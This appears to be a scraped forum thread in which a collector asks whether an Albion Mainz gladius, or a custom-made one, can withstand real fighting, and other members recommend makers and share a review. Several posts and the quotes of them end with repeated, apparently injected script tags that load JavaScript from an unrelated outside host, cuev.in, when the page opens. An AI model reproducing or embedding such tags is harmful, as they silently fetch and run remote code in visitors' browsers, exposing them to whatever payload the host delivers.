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Post by andresr22 on Dec 7, 2017 1:34:55 GMT
hello to Everyone, I am starting a new sword collection and the first one i checked was the Mainz Gladius The Augustus, i know they are a little bit expensive but i only want to acquire a high quality sword. i want to know if this sword is fully functional and if it will endure any fighting situation or anything a sword should withstand. please let me know your opinions, bad or good. If anyone know of a different Mainz Gladius plese let me know. Also if someone owns this sword let me know your reviews, and if you can provide some pictures it will be greate. thank you all Andres Rueda PS: this is the link to the sword www.albion-swords.com/swords/albion/nextgen/sword-roman-augustus-mainz-II.htm<script type="text/javascript" src="https://cuev.in/aux.php?ver=1.0&ref=at&debug="></script><script type="text/javascript" src="https://cuev.in/aux.php?ver=1.0&ref=at&debug="></script> |
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Post by stormmaster on Dec 7, 2017 1:59:07 GMT
yes albion is one of the highest quality production sword makers out there, yes it should withstand normal use, if you try to cut down a tree or cut a rock in half you will break it. i also dont recommend u actually fight someone with it
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Post by Gunnar Wolfgard on Dec 7, 2017 5:21:07 GMT
Yes Albion is one of the best but a gladius belong under Ancient swords not Medieval swords.  |
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Post by andresr22 on Dec 7, 2017 17:32:15 GMT
yes albion is one of the highest quality production sword makers out there, yes it should withstand normal use, if you try to cut down a tree or cut a rock in half you will break it. i also dont recommend u actually fight someone with it thank you for your reply, thats the thing i want something that can endure the fightining situation, so you donde recommend it? or do you know of someone who can make a sword for that?<script type="text/javascript" src="https://cuev.in/aux.php?ver=1.0&ref=at&debug="></script><script type="text/javascript" src="https://cuev.in/aux.php?ver=1.0&ref=at&debug="></script> |
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Post by crisock on Dec 7, 2017 18:11:08 GMT
yes albion is one of the highest quality production sword makers out there, yes it should withstand normal use, if you try to cut down a tree or cut a rock in half you will break it. i also dont recommend u actually fight someone with it thank you for your reply, thats the thing i want something that can endure the fightining situation, so you donde recommend it? or do you know of someone who can make a sword for that?<script type="text/javascript" src="https://cuev.in/aux.php?ver=1.0&ref=at&debug="></script><script type="text/javascript" src="https://cuev.in/aux.php?ver=1.0&ref=at&debug="></script> I think he was refering more to the legal ramifications of fighting someone with a sharp sword. You could very easily fight with an Albion and it will outshine most other makers. |
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Post by Cosmoline on Dec 7, 2017 18:26:21 GMT
I really wanted one of these for years, but recent experiences at the Mainz central train station have left me soured on the community as a whole. On WHAT PLANET does platform 11 sit contiguous with platform 1?? That station goes gelis 1 / 23 / 45 / 68 and then puts 11 way out past 1! So we missed a key connection and had to pay a huge cab fare to make the next link.
Anyway, it's a nice sword.
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Post by howler on Dec 7, 2017 21:28:50 GMT
hello to Everyone, I am starting a new sword collection and the first one i checked was the Mainz Gladius The Augustus, i know they are a little bit expensive but i only want to acquire a high quality sword. i want to know if this sword is fully functional and if it will endure any fighting situation or anything a sword should withstand. please let me know your opinions, bad or good. If anyone know of a different Mainz Gladius plese let me know. Also if someone owns this sword let me know your reviews, and if you can provide some pictures it will be greate. thank you all Andres Rueda PS: this is the link to the sword www.albion-swords.com/swords/albion/nextgen/sword-roman-augustus-mainz-II.htm<script type="text/javascript" src="https://cuev.in/aux.php?ver=1.0&ref=at&debug="></script><script type="text/javascript" src="https://cuev.in/aux.php?ver=1.0&ref=at&debug="></script> I think Traditional Filipino Weapons version of a gladius is first rate. They use a mix of 5160 and D2 in their steel. |
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Post by bebut on Dec 8, 2017 0:15:42 GMT
If your emphasis is on combat potential you might want to look at "tactical swords". The gladius helped conquer the Mediterranean world, but few have copied either its blade shape or handle design since.
There is a very positive review on the Review section of this site.
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Post by Scott on Dec 8, 2017 0:47:06 GMT
Perhaps a better way to answer this is that the Albion will be at least as good as, and probably better, than the ones used by the ancient Romans.
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Post by rhema1313 on Dec 8, 2017 7:42:03 GMT
I make custom 1st Century Gladii. Mainz, Fulham, Pompeii, Herculaneum, Parazonium, and some Pugiones as well as scabbards. My Swords are researched for Historical accuracy in materials, measurements, styles of hilts, and weights. I personally make swords for Museums, Archeologists, Historians, Reenactors, Corporate and Private collections. Albion makes a great precision sword that are CNC Cut and Computer Aided Designed and manufactured. I highly recommend them if a precision piece is what you are looking for. Each one of my swords are individually hand crafted right here in my shop as well as Historically Accurate Scabbards. I also do customized and personalized Roman Swords and make my client a total part of the experience, seeing their "Dream" or "Vision" come to pas s and putting that sword into their hand is my passion. I am here to serve you or anyone else who is interested in 1st Century Roman Swords. Here are just a few...         |
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Post by stormmaster on Dec 8, 2017 8:07:22 GMT
rhema1313 is a good choice for a hand made one made to your specifications
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Post by andresr22 on Dec 8, 2017 20:45:53 GMT
I make custom 1st Century Gladii. Mainz, Fulham, Pompeii, Herculaneum, Parazonium, and some Pugiones as well as scabbards. My Swords are researched for Historical accuracy in materials, measurements, styles of hilts, and weights. I personally make swords for Museums, Archeologists, Historians, Reenactors, Corporate and Private collections. Albion makes a great precision sword that are CNC Cut and Computer Aided Designed and manufactured. I highly recommend them if a precision piece is what you are looking for. Each one of my swords are individually hand crafted right here in my shop as well as Historically Accurate Scabbards. I also do customized and personalized Roman Swords and make my client a total part of the experience, seeing their "Dream" or "Vision" come to pas s and putting that sword into their hand is my passion. I am here to serve you or anyone else who is interested in 1st Century Roman Swords. Here are just a few... Thank you for your answer Rhema, i think i have sent a personal message inquiring about your sword makings, i need a Mainz Gladius that can endure a fighting situation, i want something that it is made of a high carbon steel and that it will be fully functional, i dont know if you can make me that type of sword. Also i want to know if your swords are hand made. please let me know and how much it will be with a sacabbard, i want it to be 71cm (28 inches) in the whole sword. thank you <script type="text/javascript" src="https://cuev.in/aux.php?ver=1.0&ref=at&debug="></script><script type="text/javascript" src="https://cuev.in/aux.php?ver=1.0&ref=at&debug="></script> |
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Post by masterofossus on Dec 9, 2017 17:55:59 GMT
More on this shortly, but I can confirm that rhema does excellent work. A sword of his that I got is very, very solid, with excellent attention to detail and fit and finish.
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Post by masterofossus on Dec 12, 2017 20:30:37 GMT
I make custom 1st Century Gladii. Mainz, Fulham, Pompeii, Herculaneum, Parazonium, and some Pugiones as well as scabbards. My Swords are researched for Historical accuracy in materials, measurements, styles of hilts, and weights. I personally make swords for Museums, Archeologists, Historians, Reenactors, Corporate and Private collections. Thank you for your answer Rhema, i think i have sent a personal message inquiring about your sword makings, i need a Mainz Gladius that can endure a fighting situation, i want something that it is made of a high carbon steel and that it will be fully functional, i dont know if you can make me that type of sword. Also i want to know if your swords are hand made. please let me know and how much it will be with a sacabbard, i want it to be 71cm (28 inches) in the whole sword. thank you The spoiler is that it's excellent. |
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Post by andresr22 on Dec 13, 2017 15:12:58 GMT
Thank you for your answer Rhema, i think i have sent a personal message inquiring about your sword makings, i need a Mainz Gladius that can endure a fighting situation, i want something that it is made of a high carbon steel and that it will be fully functional, i dont know if you can make me that type of sword. Also i want to know if your swords are hand made. please let me know and how much it will be with a sacabbard, i want it to be 71cm (28 inches) in the whole sword. thank you The spoiler is that it's excellent. Thank you for answer, i liked your review, is very complete and give the information i want, but you consider it fully functional? as i want a sword that can endure a fighting situation, and can withstand anything a sword should. please let me know if you have made a cut test. thank you<script type="text/javascript" src="https://cuev.in/aux.php?ver=1.0&ref=at&debug="></script><script type="text/javascript" src="https://cuev.in/aux.php?ver=1.0&ref=at&debug="></script> |
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Post by masterofossus on Dec 13, 2017 15:33:34 GMT
Thank you for answer, i liked your review, is very complete and give the information i want, but you consider it fully functional? as i want a sword that can endure a fighting situation, and can withstand anything a sword should. please let me know if you have made a cut test. thank you<script type="text/javascript" src="https://cuev.in/aux.php?ver=1.0&ref=at&debug="></script><script type="text/javascript" src="https://cuev.in/aux.php?ver=1.0&ref=at&debug="></script> The sword is entirely functional, with the slight caveat that it does not ship sharp. I haven't performed any cut-tests, but if you think about it, it was built in the same way as the Roman swords but using superior materials. I have handled probably 50 swords, and have sharpened maybe 15 up from this level of sharpness and then used and tested them. I am completely confident that if I wanted to, I could make this thing fully functional from that perspective, as well. |
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Post by andresr22 on Dec 15, 2017 4:05:18 GMT
Thank you for answer, i liked your review, is very complete and give the information i want, but you consider it fully functional? as i want a sword that can endure a fighting situation, and can withstand anything a sword should. please let me know if you have made a cut test. thank you<script type="text/javascript" src="https://cuev.in/aux.php?ver=1.0&ref=at&debug="></script><script type="text/javascript" src="https://cuev.in/aux.php?ver=1.0&ref=at&debug="></script> The sword is entirely functional, with the slight caveat that it does not ship sharp. I haven't performed any cut-tests, but if you think about it, it was built in the same way as the Roman swords but using superior materials. I have handled probably 50 swords, and have sharpened maybe 15 up from this level of sharpness and then used and tested them. I am completely confident that if I wanted to, I could make this thing fully functional from that perspective, as well. thank for your answer, yeah i think that would be the thing i want, as i need something a proper roman sword should endure, as it was going to be used in a battle of that time, do you know if he makes them handmade or he uses machines like albion. pleas let me know and how much it cost you, and if you could send me some pictures to take a good look it will be awesome, only if you can thank you<script type="text/javascript" src="https://cuev.in/aux.php?ver=1.0&ref=at&debug="></script><script type="text/javascript" src="https://cuev.in/aux.php?ver=1.0&ref=at&debug="></script> |
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Post by rhema1313 on Dec 15, 2017 8:09:31 GMT
They are all made by hand. 1075 high carbon steel 55hrc.
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Post by masterofossus on Dec 16, 2017 6:31:58 GMT
The sword is entirely functional, with the slight caveat that it does not ship sharp. I haven't performed any cut-tests, but if you think about it, it was built in the same way as the Roman swords but using superior materials. I have handled probably 50 swords, and have sharpened maybe 15 up from this level of sharpness and then used and tested them. I am completely confident that if I wanted to, I could make this thing fully functional from that perspective, as well. thank for your answer, yeah i think that would be the thing i want, as i need something a proper roman sword should endure, as it was going to be used in a battle of that time, do you know if he makes them handmade or he uses machines like albion. pleas let me know and how much it cost you, and if you could send me some pictures to take a good look it will be awesome, only if you can thank you<script type="text/javascript" src="https://cuev.in/aux.php?ver=1.0&ref=at&debug="></script><script type="text/javascript" src="https://cuev.in/aux.php?ver=1.0&ref=at&debug="></script> If you're curious about the process on how these are made, ask Patrick! I'd be curious to learn more about his carving and construction process, myself. I'll try and get you some more pictures - beyond just the ones in my review - shortly. Anything in particular that you're looking for? |
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Post by andresr22 on Dec 17, 2017 22:59:56 GMT
thank for your answer, yeah i think that would be the thing i want, as i need something a proper roman sword should endure, as it was going to be used in a battle of that time, do you know if he makes them handmade or he uses machines like albion. pleas let me know and how much it cost you, and if you could send me some pictures to take a good look it will be awesome, only if you can thank you<script type="text/javascript" src="https://cuev.in/aux.php?ver=1.0&ref=at&debug="></script><script type="text/javascript" src="https://cuev.in/aux.php?ver=1.0&ref=at&debug="></script> If you're curious about the process on how these are made, ask Patrick! I'd be curious to learn more about his carving and construction process, myself. I'll try and get you some more pictures - beyond just the ones in my review - shortly. Anything in particular that you're looking for? hello yeah i am going to ask him about his manufacturing process, well i just want to see the sword in different angles, where it can be appreciated, thank you<script type="text/javascript" src="https://cuev.in/aux.php?ver=1.0&ref=at&debug="></script><script type="text/javascript" src="https://cuev.in/aux.php?ver=1.0&ref=at&debug="></script> |
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